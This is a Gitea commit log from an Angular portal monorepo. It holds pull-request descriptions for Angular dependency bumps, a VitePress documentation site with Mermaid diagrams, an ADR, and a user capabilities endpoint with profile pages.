| [@angular/compiler](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcompiler/21.2.12/21.2.13) |
| [@angular/compiler-cli](https://github.com/angular/angular/tree/main/packages/compiler-cli) ([source](https://github.com/angular/angular/tree/HEAD/packages/compiler-cli)) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcompiler-cli/21.2.12/21.2.13) |
| [@angular/core](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/core)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fcore/21.2.12/21.2.13) |
| [@angular/forms](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/forms)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fforms/21.2.12/21.2.13) |
| [@angular/language-service](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/language-service)) | devDependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2flanguage-service/21.2.12/21.2.13) |
| [@angular/localize](https://github.com/angular/angular) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2flocalize/21.2.12/21.2.13) |
| [@angular/platform-browser](https://github.com/angular/angular) ([source](https://github.com/angular/angular/tree/HEAD/packages/platform-browser)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2fplatform-browser/21.2.12/21.2.13) |
| [@angular/router](https://github.com/angular/angular/tree/main/packages/router) ([source](https://github.com/angular/angular/tree/HEAD/packages/router)) | dependencies | patch | [`21.2.12` -> `21.2.13`](https://renovatebot.com/diffs/npm/@angular%2frouter/21.2.12/21.2.13) |
| [@schematics/angular](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.10` -> `21.2.11`](https://renovatebot.com/diffs/npm/@schematics%2fangular/21.2.10/21.2.11) |
| [angular-eslint](https://github.com/angular-eslint/angular-eslint) ([source](https://github.com/angular-eslint/angular-eslint/tree/HEAD/packages/angular-eslint)) | devDependencies | minor | [`21.3.1` -> `21.4.0`](https://renovatebot.com/diffs/npm/angular-eslint/21.3.1/21.4.0) |

---

### Release Notes

<details>
<summary>angular/angular-cli (@&#8203;angular-devkit/core)</summary>

### [`v21.2.11`](https://github.com/angular/angular-cli/blob/HEAD/CHANGELOG.md#21211-2026-05-13)

[Compare Source](https://github.com/angular/angular-cli/compare/v21.2.10...v21.2.11)

##### [@&#8203;angular/cli](https://github.com/angular/cli)

| Commit                                                                                              | Type | Description                            |
| --------------------------------------------------------------------------------------------------- | ---- | -------------------------------------- |
| [bbd63b7a5](https://github.com/angular/angular-cli/commit/bbd63b7a5a1049bc56b9ddf6edf6563a1f2d9ace) | fix  | robustly parse npm manifest from array |

##### [@&#8203;angular/ssr](https://github.com/angular/ssr)

| Commit                                                                                              | Type | Description                                                                     |
| --------------------------------------------------------------------------------------------------- | ---- | ------------------------------------------------------------------------------- |
| [eafe1a719](https://github.com/angular/angular-cli/commit/eafe1a719fd3fecd5263e0a8371200b4b1ff4bb9) | fix  | allow all hosts in common engine rendering options to prevent validation errors |
| [7a116a80d](https://github.com/angular/angular-cli/commit/7a116a80d7e6db341fd003737285d1a9db10ba6c) | fix  | remove stateful flag from URL\_PARAMETER\_REGEXP                                  |

<!-- CHANGELOG SPLIT MARKER -->

</details>

<details>
<summary>angular/components (@&#8203;angular/cdk)</summary>

### [`v21.2.11`](https://github.com/angular/components/blob/HEAD/CHANGELOG.md#21211-crystal-ball-2026-05-13)

[Compare Source](https://github.com/angular/components/compare/v21.2.10...v21.2.11)

No user facing changes in this release

<!-- CHANGELOG SPLIT MARKER -->

</details>

<details>
<summary>angular/angular (@&#8203;angular/common)</summary>

### [`v21.2.13`](https://github.com/angular/angular/blob/HEAD/CHANGELOG.md#21213-2026-05-13)

[Compare Source](https://github.com/angular/angular/compare/v21.2.12...v21.2.13)

##### core

| Commit | Type | Description |
| -- | -- | -- |
| [1c6553e97d](https://github.com/angular/angular/commit/1c6553e97d9655d8c48fbf625987fae86f9cd947) | fix | disallow event attribute bindings in host bindings unconditionally |

##### platform-server

| Commit | Type | Description |
| -- | -- | -- |
| [629905d537](https://github.com/angular/angular/commit/629905d537f59dc3c264c49f6347e3599dea0215) | fix | add `allowedHosts` option to `renderModule` and `renderApplication` |
| [0b7192f441](https://github.com/angular/angular/commit/0b7192f4410d055191ac9b15bff57d1d0b9a644f) | fix | forward BEFORE\_APP\_SERIALIZED errors to ErrorHandler |

<!-- CHANGELOG SPLIT MARKER -->

</details>

<details>
<summary>angular-eslint/angular-eslint (angular-eslint)</summary>

### [`v21.4.0`](https://github.com/angular-eslint/angular-eslint/blob/HEAD/packages/angular-eslint/CHANGELOG.md#2140-2026-05-13)

[Compare Source](https://github.com/angular-eslint/angular-eslint/compare/v21.3.1...v21.4.0)

This was a version bump only for angular-eslint to align it with other projects, there were no code changes.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #155
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-15 19:38:25 +02:00
julien 7579b25dfe feat(docs): vitepress site for docs/, mermaid rendering, ci build workflow (#154)
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m39s
CI / scan (push) Failing after 2m31s
CI / a11y (push) Successful in 2m14s
CI / perf (push) Successful in 4m12s
Docs site / build (push) Successful in 2m27s
## Summary

Implementation of [ADR-0022](docs/decisions/0022-docs-site-vitepress.md). Stands up the static documentation site that renders `docs/**/*.md` (architecture diagrams, daily-dev guide, ADRs, onboarding) via **VitePress + `vitepress-plugin-mermaid`**, behind a Gitea Actions build gate.

Local dev: `pnpm docs:dev`. Full build: `pnpm docs:build` (~9 s, output in `docs/.vitepress/dist/`).

## What lands

### Dependencies

`vitepress 1.6.4`, `vitepress-plugin-mermaid 2.0.17`, `mermaid 11.15.0` — workspace devDependencies. No runtime impact on `portal-shell` / `portal-admin` / `portal-bff`.

### [`docs/.vitepress/config.mts`](docs/.vitepress/config.mts)

The single source of truth for the site. Highlights:

- **`srcExclude`** drops `docs/README.md` (git/IDE-only index per ADR-0022's option A) and `docs/decisions/template.md` (authoring scaffold).
- **`rewrites`** maps `decisions/README.md` → `decisions/index.md` so `/decisions/` resolves to the curated tag-grouped landing while the source filename stays git-conventional.
- **`ignoreDeadLinks`** skips:
  - `localhost:*` URLs (Jaeger, OTLP — only resolve in a live dev session),
  - cross-repo references (`../CLAUDE`, `../../apps/**`, `../../infra/**`, `../../notes/**`) — intentional from git/IDE consumers; not the site's job to render them,
  - excluded targets (`./template`, `./README`) — file exists in the repo, just not in the site.
- **Auto-sidebar for `/decisions/`** — `adrSidebarItems()` walks `docs/decisions/00*-*.md` and emits sorted `ADR-NNNN — title` entries. Adding an ADR is a single-file change, no `config.mts` edit.
- **Hand-curated top-level nav** (Development, Architecture, Decisions, Onboarding).
- **Mermaid via `withMermaid()`** with `securityLevel: 'strict'` so diagrams can't inject arbitrary HTML.

### [`docs/index.md`](docs/index.md)

VitePress Hero landing with four feature cards (Architecture, Decisions, Development, Onboarding).

### [`docs/development.md`](docs/development.md) — two surgical fixes

- Line ~5: `[setup/](setup/)` → `[setup/01-wsl-terminal-setup.md](setup/01-wsl-terminal-setup.md)`. Folder-style links don't resolve cleanly under `cleanUrls: true`; pointing at the first onboarding page is both correct and useful.
- Line 330: wrap `${{ github.* }}` in `<code v-pre>…</code>`. VitePress runs every Markdown file through the Vue template compiler, which sees the inline `{{ … }}` as an interpolation. `v-pre` keeps the literal text intact. The rest of the source is unaffected.

### [`package.json`](package.json)

Three new scripts:

```
docs:dev      → vitepress dev docs
docs:build    → vitepress build docs
docs:preview  → vitepress preview docs
```

Pure pnpm scripts, no Nx project — the site has no cross-project dependency graph to track.

### [`.gitea/workflows/docs-site.yml`](.gitea/workflows/docs-site.yml)

Triggers on push to `main` and on PR, scoped by `paths:` to `docs/**`, `package.json`, `pnpm-lock.yaml`, and the workflow itself. Three steps:

1. `pnpm install --frozen-lockfile`
2. `pnpm docs:build`
3. Regression fence: `grep` ADR-0009's rendered HTML for `class="mermaid"` or `<svg>` so a silent Mermaid-plugin breakage on a major upgrade fails the workflow rather than ship a site with raw code blocks where diagrams should be.
4. On push only: upload `docs/.vitepress/dist/` as a `docs-site` artifact (30-day retention). The actual rsync to the static host lands when the future infrastructure ADR locks the deployment target.

### [`.gitignore`](.gitignore)

Excludes `docs/.vitepress/{cache,dist}/` so local builds don't leak into commits.

## Notes for the reviewer

- **Why `config.mts` and not `config.ts`?** VitePress is ESM-only, and `vitepress-plugin-mermaid` follows. Vite loads `.ts` config files via its CJS bundler in this workspace's setup and chokes on the ESM imports. `.mts` flips the loader to ESM and the build succeeds. Same pattern is used elsewhere in the workspace (`jest.config.cts`, app `vite.config.mts`).
- **Why no Nx project (`docs/project.json`)?** The doc site has no Nx-trackable dependencies (it consumes `.md` files, not TypeScript projects). Putting it in the Nx graph adds ceremony with no caching benefit — VitePress's incremental rebuilds are sub-second already, and the site never has cross-project `affected` semantics. Pure pnpm scripts keep the surface small.
- **Why the regression fence on Mermaid?** ADR-0022 §"Confirmation" promises it. The plugin is a community dep (sub-1.0 wrapper around the official Mermaid renderer); a major upgrade or a Mermaid runtime change could leave fenced ` ```mermaid ` blocks rendered as raw code without anyone noticing — until an RSSI clicks ADR-0009 and sees no diagram. Cheap grep gate, real signal.
- **Why upload as artifact, not deploy?** Per [ADR-0022](docs/decisions/0022-docs-site-vitepress.md) §"Deployment & CI": the host (`docs.portal.apf.fr` or a sub-path) is provisional. Locking an rsync target now would couple this PR to a not-yet-made infra decision. Artifact upload is the staging mechanism — manual drop on the host until the infrastructure ADR formalises the target.
- **Why `ignoreDeadLinks` rather than fixing every cross-repo reference?** The cross-repo links are genuinely useful from a git/IDE perspective (where the docs/ markdown is browsed alongside the rest of the codebase). Rewriting them to `https://git.unespace.com/julien/apf_portal/src/branch/main/…` would make them work on the site but lose the IDE quick-jump. Skipping at site-build time is the right trade-off — the site reader gets a graceful "link doesn't exist here" if they click, the IDE reader gets a working jump.

## Test plan

- [x] `pnpm docs:build` succeeds in ~9 s. Output at `docs/.vitepress/dist/` contains an `index.html`, every ADR, the development guide, the architecture diagrams, and the three setup pages.
- [x] Mermaid renders: `grep 'class="mermaid"' docs/.vitepress/dist/decisions/0009-…html` returns a match.
- [x] `pnpm exec nx run-many -t format:check lint test build` for the 6 main projects — 18/18 tasks green, no Nx regression from the new top-level config.
- [ ] **Manual smoke**: `pnpm docs:dev`, open `http://localhost:5173`, walk through:
  - Landing renders Hero + 4 feature cards.
  - Search box returns hits for "audit", "MFA", "OBO".
  - `/decisions/0009-…` renders the OIDC sequence diagram (Mermaid SVG, not raw text).
  - `/decisions/0010-…` ERD or `/architecture` C4 diagrams likewise.
  - Dark-mode toggle flips diagrams to dark theme without page reload.
  - Sidebar shows the 22 ADRs auto-listed under `/decisions/`.
  - The "Decisions" curated index at `/decisions/` lists ADRs by tag (no regression on the source markdown).

## What's next

Once the deployment target is fixed (future infra ADR), wire the rsync step into the workflow — that lands as a small follow-up PR. Until then the artifact carries the bundle.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #154
2026-05-15 19:14:14 +02:00
julien aa8ad97feb fix(portal-admin): adr refs point at gitea, not the madr template repo (#153)
CI / check (push) Successful in 1m47s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m48s
CI / a11y (push) Successful in 2m1s
CI / perf (push) Successful in 3m33s
## Summary

Records the decision to render `docs/**/*.md` as a separately-deployed static site using **VitePress + `vitepress-plugin-mermaid`**.

This is **ADR-only** — the implementation (install + `.vitepress/config.ts` + `docs/index.md` + Gitea Actions workflow) lands as the next chantier. Splitting them keeps the decision review focused on the *why* before the *how*.

## What lands

### [`docs/decisions/0022-docs-site-vitepress.md`](docs/decisions/0022-docs-site-vitepress.md)

Full MADR 4.0.0 ADR. Decision drivers, 4 considered options (VitePress, MkDocs Material, Docusaurus 3, Astro Starlight), site-structure mapping, Mermaid integration, deployment + CI plan, consequences, revisit triggers. Tags: `process`, `infrastructure`.

**Key choices captured:**

- VitePress wins on toolchain alignment (Vite already in the workspace via `@nx/vite`, `vite-plugin-angular`, Vitest). MkDocs Material was the strong runner-up; the Python runtime tax in Gitea Actions tipped the balance.
- `vitepress-plugin-mermaid` for ```` ```mermaid ```` blocks ([ADR-0009](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md) sequence + [architecture.md](docs/architecture.md) C4 are hard requirements).
- Site sources entirely from `docs/`. Mapping:
  - `docs/index.md` (new, Hero layout) → `/`
  - `docs/development.md` → `/development`
  - `docs/architecture.md` → `/architecture`
  - `docs/decisions/README.md` → `/decisions/` (curated index, kept as section landing)
  - `docs/decisions/00NN-….md` → auto-listed in the sidebar by numeric prefix
  - `docs/setup/0N-….md` → `/setup/0N-…`
- **Excluded** via `srcExclude`: `docs/README.md` (stays as the git-side / IDE-preview index — option A from the prior discussion) and `docs/decisions/template.md` (authoring scaffold).
- Empty placeholder sections in `docs/README.md` (Operations runbooks, Security/perf/a11y rationales) are NOT pre-created as empty pages — they appear in the sidebar when real content lands.
- Deployment: dedicated hostname (provisional `docs.portal.apf.fr`) behind the same Caddy reverse-proxy as the apps, fed by a new `.gitea/workflows/docs-site.yml` triggered on `docs/**` push. Exact hostname follows the future infrastructure ADR; not locked here.

### [`docs/decisions/README.md`](docs/decisions/README.md)

ADR-0022 added to the index table.

### [`CLAUDE.md`](CLAUDE.md)

Bumps the ADR range from `0001 → 0021` to `0001 → 0022`. New bullet in the "Architecture (recorded in ADRs)" section describing the docs-site choice in one paragraph. Implementation tracked in "Still on the roadmap" until the next PR lands it.

## Notes for the reviewer

- **Why ADR before implementation?** The choice between VitePress / MkDocs Material / Docusaurus / Astro Starlight is exactly the "stable + recognized + innovative" trade-off [CLAUDE.md](CLAUDE.md) asks to document. Reviewing the rationale on its own (without dragging through the install diff) keeps the discussion focused.
- **Why not surface ADRs inside `portal-admin`?** Audience mismatch — [ADR-0020](docs/decisions/0020-portal-admin-app.md) §"Audience is disjoint" frames `portal-admin` around APF internal operators (CMS, audit, user directory), not architects. The full reasoning is in ADR-0022 §"Context and Problem Statement".
- **Why two index artefacts (`docs/README.md` + future `docs/index.md`)?** Option A from the structure discussion. Each serves a distinct audience: `README.md` is the flat link list that renders well in IDEs / Gitea source view; `index.md` will be the VitePress Hero landing for the web audience. Light duplication, no maintenance pressure (the IDE one only needs updating when sections appear/disappear).
- **Why `vitepress-plugin-mermaid` rather than Docusaurus's built-in Mermaid?** The community plugin is a sub-1.0 dependency on the wrapper (Mermaid itself is mature), but Mermaid is so mainstream that switching it out is a half-day rewrite if the plugin stalls. Trading that risk against Docusaurus's MDX-by-default footprint + React runtime is a net win.
- **Why `process` + `infrastructure` tags?** Mirrors [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md) (also a CI / deploy decision with content authoring implications) and is consistent with the [tag vocabulary](docs/decisions/README.md#tag-vocabulary). No new tag invented.

## Test plan

- [x] `docs/decisions/0022-docs-site-vitepress.md` validates as MADR 4.0.0 (frontmatter, section order). Index in [`docs/decisions/README.md`](docs/decisions/README.md) updated in the same PR per [ADR conventions](docs/decisions/README.md#conventions).
- [x] No code touched — `lint / test / build` matrix unaffected.
- [ ] Review for trade-off accuracy: did I get MkDocs Material's strengths right? Is Astro Starlight's maturity argument fair?
- [ ] Implementation chantier (next PR): `pnpm add -D vitepress vitepress-plugin-mermaid mermaid`, `docs/.vitepress/config.ts`, `docs/index.md`, `.gitea/workflows/docs-site.yml`, `package.json` scripts. Will land within the same week assuming this ADR holds.

## What's next

If accepted as-is, the immediate follow-up is:

1. Install VitePress + the Mermaid plugin.
2. Author `docs/.vitepress/config.ts` with the sidebar shape spelled out in this ADR (auto-generated sub-sidebar for `/decisions`, hand-curated top-level).
3. Author `docs/index.md` (Hero layout).
4. Add the `docs-site` Gitea Actions workflow.
5. Wire the dev script (`pnpm docs:dev`) into `package.json` so contributors can preview locally.

If reviewers want to push back on the toolchain choice (MkDocs Material in particular has a strong case for the theme polish), this is the right PR to surface that — implementation hasn't started.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #153
2026-05-15 18:48:07 +02:00
julien 035ea7c748 fix(portal-admin): adr refs point at gitea, not the madr template repo (#152)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m11s
CI / check (push) Successful in 2m40s
CI / a11y (push) Successful in 1m5s
CI / perf (push) Successful in 5m13s
## Summary

Two ADR references in `portal-admin` page intros (`/audit`, `/users`) linked to `https://github.com/adr/madr` — the **MADR template repository**, not our ADRs. Copy-paste artefact from the original authoring of those pages.

Both anchors now resolve to the actual ADR file on Gitea, so a reviewer who clicks lands on the right document.

| Page | Anchor | Was | Now |
| --- | --- | --- | --- |
| [audit.html](apps/portal-admin/src/app/pages/audit/audit.html) | ADR-0013 | `github.com/adr/madr` | [Gitea `0013-audit-trail-…`](https://git.unespace.com/julien/apf_portal/src/branch/main/docs/decisions/0013-audit-trail-separated-postgres-append-only.md) |
| [users.html](apps/portal-admin/src/app/pages/users/users.html) | ADR-0020 | `github.com/adr/madr` | [Gitea `0020-portal-admin-app`](https://git.unespace.com/julien/apf_portal/src/branch/main/docs/decisions/0020-portal-admin-app.md) |

## Why no in-app ADR viewer

A natural follow-up question — "could we render the ADRs inside portal-admin?" — was considered and **rejected** for v1:

- **Audience mismatch.** ADR-0020 §"Audience is disjoint" frames portal-admin around APF internal staff doing CMS / audit / user-directory work. ADRs are dev / architecture artefacts mentioning Prisma, Redis, MSAL Node, OBO trade-offs — content that doesn't help an operator and blurs the line between "ops tool" and "internal tech doc".
- **Architecture cost.** A live viewer would require a Markdown-rendering pipeline on the SPA, BFF↔filesystem coupling (or a build-time embedding that breaks the auto-update intent), inter-ADR link rewriting, and English-only fallback in an otherwise i18n-capable app.
- **Better alternative exists.** If discoverability of `docs/**/*.md` becomes a real need, a separate static-site (MkDocs Material / Docusaurus / VitePress) deployed on `docs.portal.apf.fr` with a CI hook on `docs/` changes is the battle-tested path. That's the chantier slot — a separate ADR + setup, not bolt-on inside portal-admin.

## Test plan

- [x] `pnpm nx run-many -t lint test build --projects=portal-admin` — clean, 50 specs pass, lazy chunks unchanged.
- [ ] Visual smoke: open `/audit` and `/users` in portal-admin, click the inline ADR badge, confirm the Gitea ADR page loads in a new tab.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #152
2026-05-15 18:47:14 +02:00
julien ee51efb688 feat(portal): /api/me/capabilities + cross-app menu links + real role label (#151)
CI / scan (push) Successful in 2m13s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m48s
CI / a11y (push) Successful in 1m53s
CI / perf (push) Successful in 3m46s
## Summary

PR 3 of 3 — final piece of the user-menu / profile / cross-app chantier. Closes the loop with the BFF capabilities endpoint, symmetric cross-app entries in both user menus, and a real role label in place of the hardcoded "Anonymous" widget on the portal-shell sidebar.

| PR | Périmètre |
| --- | --- |
| PR 1  | Shared `UserMenu` dropdown + integration. |
| PR 2  | `/profile` pages on both apps. |
| **PR 3 (this one)** | `GET /api/me/capabilities` + real sidebar role label + cross-app menu entries. |

## What lands

### BFF — `GET /api/me/capabilities`

New [`MeModule`](apps/portal-bff/src/me/me.module.ts) wiring a single endpoint:

```ts
GET /api/me/capabilities → { canAccessAdmin: boolean }
```

Resolved against the user-portal session ([`portal_session`](apps/portal-bff/src/me/me.controller.ts) — the path-routed session middleware in `main.ts` already maps `/api/me/*` to that session). Returns 401 if no session is present, consistent with `/api/auth/me`. 5 specs cover the four state combinations + a regression-fence asserting the curated view never leaks the raw `roles` array.

### ADR-0009 amendment

[`docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md`](docs/decisions/0009-auth-flow-oidc-pkce-msal-node.md) — new **"Curated public view"** section codifies the design stance the user picked when we agreed the staging:

> The `/auth/me` payload exposes a deliberately narrow projection of the session: `oid`, `tid`, `username`, `displayName`. **The raw `roles` claim is _not_ part of `/auth/me`** — it stays server-side […]. The SPA derives binary UX hints from a dedicated companion endpoint […]. The shape is intentional: the SPA can never reconstruct the raw role names from the curated view, so introducing additional internal-only roles […] does not widen the SPA-side surface.

The routes table grows a row for `/me/capabilities`.

### Portal-shell — capabilities-driven UI

- **New service** [`CapabilitiesService`](apps/portal-shell/src/app/services/capabilities.service.ts) (app-local, not in `feature-auth` — the admin app has its own roles channel via `/api/admin/auth/me` and would never use this). Signals: `capabilities`, `canAccessAdmin`. Fires `GET /me/capabilities` reactively via an `effect` that watches `auth.currentUser()`. Anonymous sessions short-circuit to the all-false default without a fetch — the BFF would 401 anyway.
- **Header** ([`header.ts`](apps/portal-shell/src/app/components/header/header.ts)) — `userMenuItems` is now a `computed`. Profile + Settings stay unconditional; **"Open Portal Admin"** appears only when `canAccessAdmin()` flips true, with `href = environment.adminAppUrl`. Per ADR-0020 the two SPAs live on distinct origins, so this is a raw cross-origin anchor, not a routerLink.
- **Sidebar** ([`sidebar.ts`](apps/portal-shell/src/app/components/sidebar/sidebar.ts) + [`sidebar.html`](apps/portal-shell/src/app/components/sidebar/sidebar.html)) — the hardcoded `Role: Anonymous` widget is replaced by a derived computed:
  - `Anonymous` when no session.
  - `Administrator` when `canAccessAdmin()` is true.
  - `User` otherwise (signed-in, no admin).

  The aria-label gains a `role` placeholder so screen readers hear the live value.

### Portal-admin — symmetric cross-app entry

- **Header** ([`header.ts`](apps/portal-admin/src/app/components/header/header.ts)) — adds an unconditional `Open Portal Shell` row pointing at `environment.shellAppUrl`. Anyone able to reach portal-admin can reach portal-shell, so no capabilities check needed; admins always benefit from a one-click jump back to the end-user surface.

### Environments

`adminAppUrl` and `shellAppUrl` added to the respective [`environment.ts`](apps/portal-shell/src/environments/environment.ts) files (dev defaults: `:4300` for admin, `:4200` for shell). Per-env siblings (staging / prod) will override the host once they exist, per ADR-0018.

### i18n

| Key | EN source | FR target |
| --- | --- | --- |
| `header.userMenu.openAdmin` | Open Portal Admin | Ouvrir Administration APF Portal |
| `sidebar.role.administrator` | Administrator | Administrateur |
| `sidebar.role.user` | User | Utilisateur |
| `sidebar.role.aria` | reshaped with `{role}` placeholder | reshaped likewise |

Admin-side strings stay in English source per ADR-0020.

## Notes for the reviewer

- **Why `CapabilitiesService` in the app, not in `feature-auth`?** Only `portal-shell` will ever call `/api/me/capabilities` — the admin SPA hits `/api/admin/auth/me` which already returns `roles`. Putting the service in `feature-auth` would publish a tree-shakable `providedIn: 'root'` injectable that ships in both bundles. Keeping it app-local makes the boundary explicit.
- **Why a `computed` for `userMenuItems` rather than mutating an array in an `effect`?** Signals + computed = single source of truth. The shared `UserMenu` re-renders automatically when the items list changes (whenever capabilities flips). Less ceremony than maintaining a `WritableSignal<UserMenuItem[]>`.
- **Why the `flushPendingEffects` test helper?** Zoneless apps rely on the signals scheduler to dispatch `effect()` callbacks via micro-task scheduling. `fixture.detectChanges() + whenStable()` once is not enough: the chain is `meReq.flush()` → `_state.set()` → effect scheduled → effect fires → `http.get()` queued. The helper loops 4× to give the scheduler enough rounds to settle before `expectOne(CAPABILITIES_URL)` looks up the request.
- **Why no test for the dev URL values?** `environment.ts` is config that gets swapped at build time per ADR-0018; the values themselves are environmental. Asserting the dev value in a test would lock in a port (4200/4300) that's separately configured in `project.json`.

## Test plan

- [x] `pnpm nx test portal-bff` — **401 specs pass** (was 396, +5 for `MeController`).
- [x] `pnpm nx test portal-shell` — **40 specs pass** (was 35, +5: 3 sidebar role-label + 2 header admin-link).
- [x] `pnpm nx run-many -t lint test build --projects=portal-shell,portal-admin,portal-bff,shared-ui,shared-state,feature-auth` — 18/18 tasks green, including the i18n-strict `portal-shell:build:production`.
- [ ] Manual smoke (with a `Portal.Admin`-assigned account):
  - Sign in on portal-shell → sidebar reads `Role: Administrator`, user menu lists `Open Portal Admin` at the bottom (right above the Sign-out separator), clicking the link opens `localhost:4300`.
  - Sign in on portal-admin → user menu lists `Open Portal Shell`, clicking opens `localhost:4200`.
  - Sign in on portal-shell with a non-admin account → sidebar reads `Role: User`, `Open Portal Admin` is absent.
  - Sign out → sidebar reads `Role: Anonymous`, the menu collapses to its anonymous-state Sign-in button.

## What's next

Chantier closed. The user-menu shape is now stable; further entries (notifications inbox, theme override, locale switcher inside the menu rather than the footer) plug into the existing `items` API without re-shaping the component.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #151
2026-05-15 16:11:26 +02:00
julien 1160771061 feat(portal-admin): profile page on /profile guarded by authGuard (#150)
CI / scan (push) Successful in 2m1s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m40s
CI / a11y (push) Successful in 1m24s
CI / perf (push) Successful in 4m30s
## Summary

PR 2 of 3 from the user-menu / profile / cross-app-link chantier. Lands a `/profile` page on `portal-admin` so the Profile entry the user menu wired in PR 1 stops 404-ing. Portal-shell already had a demo `/profile` route that fits this slot — left as-is rather than churned.

| PR | Périmètre |
| --- | --- |
| PR 1  | Shared `UserMenu` dropdown + integration. |
| **PR 2 (this one)** | `/profile` page on `portal-admin`; `CurrentUser.roles` typed (the BFF already returns it). |
| PR 3 | `/api/me/capabilities` + sidebar role widget + cross-app links. |

## What lands

### New page — [`apps/portal-admin/src/app/pages/profile/`](apps/portal-admin/src/app/pages/profile/)

Lazy-loaded at `/profile`, guarded by `authGuard` (from `feature-auth`). Two cards:

- **Identity** — displayName, username, Entra `oid`, tenant `tid`. The two ids are monospaced + break-anywhere so they don't push the layout on narrow viewports.
- **App roles** — chips listing every Entra app-role claim the session carries (`Portal.Admin` for v1, future business roles once ADR-0011 step-up lands its real consumers). Hidden entirely when the `roles` array is empty so anonymous-then-promoted accounts don't see a "no roles" affordance that doesn't help anyone.

The `@if (user())` template guard narrows the type so the page is single-branch — `authGuard` already blocked anonymous traffic upstream.

Lazy chunk lands at **5.37 KB raw / 1.57 KB gzip** — comfortably under the per-chunk lazy budget.

### Route — [`apps/portal-admin/src/app/app.routes.ts`](apps/portal-admin/src/app/app.routes.ts)

```ts
{
  path: 'profile',
  canActivate: [authGuard],
  loadComponent: () => import('./pages/profile/profile').then((m) => m.ProfilePage),
  title: profileTitle,
}
```

`route.profile.title` added to [`messages.fr.xlf`](apps/portal-admin/src/locale/messages.fr.xlf) (FR target retained for parity with the other route titles, even though portal-admin doesn't expose a locale switcher in v1 per ADR-0020).

### Type — [`libs/feature/auth/src/lib/auth.types.ts`](libs/feature/auth/src/lib/auth.types.ts)

```ts
export interface CurrentUser {
  …
  /** Optional; present on `/api/admin/auth/me`, omitted on `/api/auth/me`. */
  readonly roles?: readonly string[];
}
```

`/api/admin/auth/me` already returns `roles` (PR #129), but `CurrentUser` was discarding it through the typed deserialization. Marking the field optional captures the existing BFF response without surfacing the claim on the user portal — ADR-0009's "curated public view" stays intact on `/api/auth/me`, which simply doesn't populate it.

## Notes for the reviewer

- **Why not refresh `portal-shell`'s `/profile` too?** The existing demo page already has the same shape (displayName, username, oid, tid) and is functionally fine. Refreshing for parity would be incidental scope creep against PR 2's goal (unblock the Profile menu entry on the admin surface). PR 3 may revisit when it adds the role display widget.
- **Why no `User profile` entry in the admin sidebar?** The user menu already exposes Profile and ADR-0020's v1 sidebar catalogue is "modules", not "self-service shortcuts". Adding a sidebar entry would duplicate the user-menu access path and break the rule that the sidebar maps to admin business modules.
- **Why a single English-source page, not FR-translated content?** Same posture as the audit + users pages: per ADR-0020 §"No locale switcher in v1", admin chrome stays in source locale. Route titles are i18n-marked because the prod build's `i18nMissingTranslation=error` policy would fail otherwise — the page body text doesn't need to be.
- **Why not show roles on the portal-shell side too?** That's PR 3, gated on the `/api/me/capabilities` design (the user picked the dedicated capabilities endpoint over `roles`-on-user-/me). Adding any role-related rendering here would pre-empt that choice.

## Test plan

- [x] `pnpm nx test portal-admin` — **50 specs pass** (was 46, +4 for the new `ProfilePage` spec).
- [x] `pnpm nx run-many -t lint test build --projects=portal-shell,portal-admin,shared-ui,shared-state,feature-auth` — 15/15 tasks green, including the i18n-strict `portal-shell:build:production`.
- [ ] Manual smoke — sign in on portal-admin, click the avatar → Profile entry, confirm: identity card populated, App roles card shows `Portal.Admin` (if you have the role assigned), Settings entry of the user menu still greyed with the Soon badge.

## What's next

PR 3 lands the cross-app machinery — `GET /api/me/capabilities` endpoint, real role surfacing on the user-portal sidebar widget (`Anonymous` → `Authenticated` / role label, no more hardcode), and the symmetric "Open Portal Admin" / "Open Portal Shell" entries in each app's user menu, gated on the capabilities response.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #150
